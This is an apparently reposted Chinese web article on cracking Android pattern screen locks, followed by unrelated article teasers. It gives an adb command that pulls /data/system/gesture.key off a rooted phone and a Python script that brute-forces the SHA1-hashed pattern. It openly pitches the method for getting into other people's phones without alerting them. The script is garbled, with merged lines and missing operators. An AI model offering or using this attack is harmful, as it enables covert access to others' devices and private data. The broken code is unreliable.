当前位置:主页 > 知识百科 > 生活百科 > 正文

智能手机九宫格锁解锁方法大放送!智商低者慎入!

发布时间:2021-11-19 10:09 来源:互联网 点击:0
现如今,众多使用智能手机的孩子们都喜欢使用九宫格的锁屏方式防止信息泄露。也的确一些复杂的锁屏图案可以让很多人望而却步。其实这种锁屏方法解起来不是很困难,只要懂一点计算机知识就可以轻松搞定!接下来就是智能手机九宫格解锁方法大放送!高智商的孩子赶快get起来! 我们平常所用的图形锁(九宫格)是3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有

现如今,众多使用智能手机的孩子们都喜欢使用九宫格的锁屏方式防止信息泄露。也的确一些复杂的锁屏图案可以让很多人望而却步。其实这种锁屏方法解起来不是很困难,只要懂一点计算机知识就可以轻松搞定!接下来就是智能手机九宫格解锁方法大放送!高智商的孩子赶快get起来!

我们平常所用的图形锁(九宫格)3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能。最少需要连接4个点,最多能连接9个点。网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能。但假如你想进入别人的手机,但又不想引起其警觉的话,嘿嘿本文可以帮到你!


九宫格解锁实现前提条件:手机需要root,而且打开调试模式。一般来讲,如果用过诸如豌豆荚手机助手“360手机助手一类的软件,都会被要求打开调试模式的。如果要删除手机内置软件,则需要将手机root

九宫格解锁原理分析:

首先科普一下,安卓手机是如何标记这9个点的。通过阅读安卓系统源码可知,每个点都有其编号,组成了一个3×3的矩阵,形如:

00 01 02

03 04 05

06 07 08

假如设定解锁图形为一个“L”形,如图:

智能手机九宫格锁解锁方法大放送!智商低者慎入!

那么这几个点的排列顺序是这样的:00 03 06 07 08。系统就记下来了这一串数字,然后将这一串数字(以十六进制的方式)进行SHA1加密,存储在了手机里的/data/system/gesture.key 文件中。我们用数据线连接手机和电脑,然后ADB连接手机,将文件下载到电脑上(命令:adb pull /data/system/gesture.key gesture.key),如图:

智能手机九宫格锁解锁方法大放送!智商低者慎入!

WinHex等十六进制编辑程序打开gesture.key,会发现文件内是SHA1加密过的字符串:c8c0b24a15dc8bbfd411427973574695230458f0,如图:

智能手机九宫格锁解锁方法大放送!智商低者慎入!

当你下次解锁的时候,系统就对比你画的图案,看对应的数字串是不是0003060708对应的加密结果。如果是,就解锁;不是就继续保持锁定。那么,如果穷举所有的数字串排列,会有多少呢?联想到高中的阶乘,如果用4个点做解锁图形的话,就是9x8x7x6=3024种可能性,那5个点就是151206个点的话604807个点1814408个点3628809个点362880。总共是985824种可能性(但这么计算并不严密,因为同一条直线上的点只能和他们相邻的点相连)

满打满算,也不到985824种可能性。乍一看很大,但在计算机面前,穷举出来这些东西用不了几秒钟。

破解过程

知道了原理,就着手写程序来实现吧。这里使用了Python来完成任务。主要应用了hashlib模块(对字符串进行SHA1加密)itertools模块(Python内置,生成00-09的排列组合)

主要流程为:

1.ADB连接手机,获取gesture.key文件

2.读取key文件,存入字符串str_A

3.生成全部可能的数字串

4.对这些数字串进行加密,得到字符串str_B

5.将字符串str_Astr_B进行对比

6.如果字符串AB相同,则说明数字串num就是想要的解锁顺序

7.打印出数字串num

下面为程序:

# -*- coding: cp936 -*-import itertools

import hashlib

import time

import os

#调用cmdADB连接到手机,读取SHA1加密后的字符串

os.system("adb pull /data/system/gesture.key gesture.key")

time.sleep(5)

f=open('gesture.key','r')

pswd=f.readline()

f.close()

pswd_hex=pswd.encode('hex')print '加密后的密码为:%s'%pswd_hex

#生成解锁序列,得到['00','01','02','03','04','05','06','07','08']

matrix=[]

for i in range(0,9):

str_temp = '0' str(i)

matrix.append(str_temp)#00——08的字符进行排列,至少取4个数排列,最多全部进行排列

min_num=4

max_num=len(matrix)for num in range(min_num,max_num 1):#04 -> 08

iter1 = itertools.permutations(matrix,num)#9个数字中挑出n个进行排列

list_m=[]

list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中

for el in list_m[0]:#遍历这n个数字的全部排列

strlist=''.join(el)#list转换成str[00,03,06,07,08]-->0003060708

strlist_sha1 = hashlib.sha1(strlist.decode('hex')).hexdigest()#将字符串进行SHA1加密

if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比

print '解锁密码为:',strlist

看着是不是有点凌乱!不得不说,不懂些计算机真的想看天书一样!即便自己做不到破解别人的九宫格锁屏也没关系!至少知道懂些计算机的人可以搞定这件事。到时候忘了九宫格锁屏图案也找个行家帮忙!至少不用花钱雇人搞定。


"小编整理不易,小礼物走一走,万分感谢!"
赞赏
漂亮女人街

真诚赞赏,手留余香

相关资讯

手冻伤容易与哪些症状混淆
冻疮在东北有很多人都了解,但是还有一些人不是很了解这个病,所以有的时候冻伤轻微的就会认为是别的毛病,那样会耽误我们的治疗,那么我们就应该多加了解一下这方面的知识,例如说手冻伤容易与哪些症状混淆。只有了
怎样保证支付宝的安全
手机支付宝在互联网上使用得越来越普遍了,又关联了热门理财产品余额宝。但是也有很多网友不敢使用支付宝购物,理由是怕不够安全,最近也有不少新闻报道出支付宝、余额宝账户资金被骗的事实。支付宝账户安全问题不容
造成骨折的诱因
骨折,是我们谁都不愿意面对的一种疾病,骨折的症状有很多,如果在生活中不小心引起了颈椎骨折,那么一定要掌握一些急救小常识好去面对,否则会很危险。那么造成骨折的诱因有哪些呢?下面就跟着漂亮女人街小编一起来
误服杀虫剂怎么办
生活中总是会遇到一些窘迫的情况,比如新闻上经常报道的误食了老鼠药紧急送往医院洗胃,那么误服杀虫剂怎么办呢?今天小编就来给大家讲一讲这个有毒物品知识。当你误服了杀虫剂,首先要看你误服的杀虫剂的量是多是少
哪些方法可以治疗射精障碍不育
导致不育的因素有很多,射精障碍就是典型的一种,为了能早日拥有自己的孩子,哪些方法可以治疗射精障碍不育是很多患者比较关心的事情。自我锻炼在勃起的阴茎上搭上一条毛巾,假如能够承受,说明肌肉强度没问题。假
保安劳保用品有哪些
劳动防护用品是人在生产和工作中为防御物理、化学、生物等外界有害因素伤害人体而穿戴和配备的各种物品的总称。那么,保安劳保用品有哪些呢?就让漂亮女人街的小编和你一起去了解一下吧!保安劳保用品种类:一般包括